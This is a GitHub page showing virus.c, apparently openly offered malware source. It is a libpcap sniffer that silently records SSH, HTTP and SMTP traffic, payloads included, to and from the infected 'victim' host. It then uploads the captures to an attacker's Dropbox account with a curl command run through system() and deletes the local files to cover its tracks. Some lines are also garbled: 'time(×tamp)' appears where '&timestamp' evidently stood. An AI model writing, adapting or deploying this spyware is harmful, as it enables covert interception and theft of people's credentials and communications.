-
Notifications
You must be signed in to change notification settings - Fork 0
/
virus.c
217 lines (193 loc) · 6.79 KB
/
virus.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <pthread.h>
typedef struct {
u_char* packet;
struct pcap_pkthdr* header;
} packet_info;
/* Length of bytes of the data link layer. We assume we deal with Ethernet headers. */
int DATA_LINK_HDR_LEN = 14;
/* Number of packet_info packets that our buffer holds */
int PACKET_BUFFER_SIZE = 1000;
/* Buffer to hold a certain amount of packet_info structs. */
packet_info* PACKET_BUFFER[1000];
/* Counter for the above buffer. */
int PACKET_BUFFER_IDX = 0;
/* Mutex for both the buffer and its counter. */
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
/* Dropbox access token for pushing pcap files. */
const char* DROPBOX_ACCESS_TOKEN;
/* Used to check whether ip address belongs to source or destination. */
const char* VICTIM_IP;
/* Definition for the callback function when a packet is captured */
void packet_callback(u_char* args, const struct pcap_pkthdr* header, const u_char* packet);
/* Definition for a function which process packets sitting in the buffer and sends an email with their information */
void process_buffer();
char* get_interface_ip(char* interface);
char* get_system_time();
void write_to_dropbox(char* filename);
int main(int argc, char** argv) {
DROPBOX_ACCESS_TOKEN = getenv("DROPBOX_ACCESS_TOKEN");
char errbuf[PCAP_ERRBUF_SIZE]; /* Buffer for error messages */
struct bpf_program bpf;
char filter_exp[] = "port 22 or port 80 or port 25";
uint32_t net_num, netmask;
// Get name of first non loopback interface.
char* interface = pcap_lookupdev(errbuf);
if(interface == NULL) {
// Exit silently if we fail to find interface.
return 1;
}
// Hack because for some reason VICTIM_IP was getting mangled in the callback
VICTIM_IP = strdup(get_interface_ip(interface));
// Enable Non promiscuous mode.
pcap_t* pc_handle = pcap_open_live(interface, BUFSIZ, 0, 1000, errbuf);
if(pc_handle == NULL) {
return 1;
}
// For now, we only support devices which have Ethernet link-layer headers.
if (pcap_datalink(pc_handle) != DLT_EN10MB) {
return 1;
}
if (pcap_lookupnet(interface, &net_num, &netmask, errbuf) < 0) {
return 1;
}
// For now, we are only interested in the following protocols: HTTP, SSH, SMTP.
if (pcap_compile(pc_handle, &bpf, filter_exp, 0, netmask))
{
return 1;
}
// Assign the packet filter to the given libpcap socket.
if (pcap_setfilter(pc_handle, &bpf) < 0)
{
return 1;
}
// Start a loop that collect packets
pcap_loop(pc_handle, -1, packet_callback, NULL);
/* Close the session */
pcap_close(pc_handle );
return 0;
}
/* http://www.binarytides.com/c-program-to-get-ip-address-from-interface-name-on-linux/ */
char* get_interface_ip(char* interface) {
int fd;
struct ifreq ifr;
fd = socket(AF_INET, SOCK_DGRAM, 0);
//Type of address to retrieve - IPv4 IP address
ifr.ifr_addr.sa_family = AF_INET;
//Copy the interface name in the ifreq structure
strncpy(ifr.ifr_name , interface, IFNAMSIZ-1);
ioctl(fd, SIOCGIFADDR, &ifr);
close(fd);
return inet_ntoa(( (struct sockaddr_in *)&ifr.ifr_addr )->sin_addr);
}
/* Implementation of packet callback function */
void packet_callback(u_char* args, const struct pcap_pkthdr* header, const u_char* packet) {
packet_info* info = (packet_info*) malloc(sizeof(packet_info));
info->packet=packet;
info->header=header;
pthread_mutex_lock(&mutex);
PACKET_BUFFER[PACKET_BUFFER_IDX++] = info;
if(PACKET_BUFFER_IDX == PACKET_BUFFER_SIZE) {
process_buffer();
PACKET_BUFFER_IDX = 0;
}
pthread_mutex_unlock(&mutex);
}
void process_buffer() {
char* buffer = (char*) malloc(sizeof(char) * 80);
char filename[64] = "";
strcpy(filename, get_system_time(buffer));
strcat(filename, "_");
strcat(filename, VICTIM_IP);
strcat(filename, ".mypcap");
FILE* packet_file = fopen(filename, "w");
// Process packets
for(int i = 0; i < PACKET_BUFFER_SIZE; ++i) {
packet_info* info = PACKET_BUFFER[i];
u_char* packet = info->packet;
struct pcap_pkthdr* header = info->header;
// Extract the unix epoch timestamp from the header and convert to readable form.
time_t timestamp = (time_t) (header->ts.tv_sec);
time(×tamp);
// Initialize some stuff.
char src_ip[256], dest_ip[256];
struct ip* ip_hdr;
int ip_hdr_len;
struct tcphdr* tcp_hdr;
int tcp_hdr_len;
u_char* payload;
int payload_len;
// We don't care about any info in the link-layer so skip it.
packet += DATA_LINK_HDR_LEN;
// Get to the ip header and also get its size for future use
ip_hdr = (struct ip*) packet;
ip_hdr_len = ip_hdr->ip_hl*4;
// Gets the source and destination ip. We don't get port info since we filter
// on a specific set of protocols anyway.
strcpy(src_ip, inet_ntoa(ip_hdr->ip_src));
strcpy(dest_ip, inet_ntoa(ip_hdr->ip_dst));
// Check whether the source or destination ip is the one of the host machine.
if (strcmp(VICTIM_IP, src_ip) == 0) {
fprintf(packet_file, "%s%s (Host) -> %s\n", ctime(×tamp), src_ip, dest_ip);
} else if (strcmp(VICTIM_IP, dest_ip) == 0) {
fprintf(packet_file, "%s%s -> %s (Host)\n", ctime(×tamp), src_ip, dest_ip);
} else {
continue;
}
tcp_hdr = (struct tcphdr*) (packet + ip_hdr_len);
tcp_hdr_len = tcp_hdr->th_off*4;
payload_len = header->caplen - (DATA_LINK_HDR_LEN + ip_hdr_len + tcp_hdr_len);
payload = (u_char*) (packet + ip_hdr_len + tcp_hdr_len);
/* Print payload in ASCII, http://www.devdungeon.com/content/using-libpcap-c */
if (payload_len > 0) {
fprintf(packet_file, "Payload len: %d\n", payload_len);
const u_char* temp_pointer = payload;
int byte_count = 0;
while (byte_count++ < payload_len) {
fprintf(packet_file, "%c", *temp_pointer);
temp_pointer++;
}
fprintf(packet_file, "\n");
} else {
fprintf(packet_file, "Payload len: %d\n", 0);
}
fprintf(packet_file, "=======================================\n");
fflush(packet_file);
free(info);
}
free(buffer);
write_to_dropbox(filename);
remove(filename);
}
char* get_system_time(char* buffer) {
time_t rawtime;
struct tm * timeinfo;
time (&rawtime);
timeinfo = localtime (&rawtime);
strftime (buffer,80,"%F_%R", timeinfo);
return buffer;
}
void write_to_dropbox(char* filename) {
char buffer[200] = "";
strcpy(buffer, "curl -H \"Authorization: Bearer ");
strcat(buffer, DROPBOX_ACCESS_TOKEN);
strcat(buffer, "\" ");
strcat(buffer, "https://api-content.dropbox.com/1/files_put/auto/ -T ");
strcat(buffer, filename);
system(buffer);
}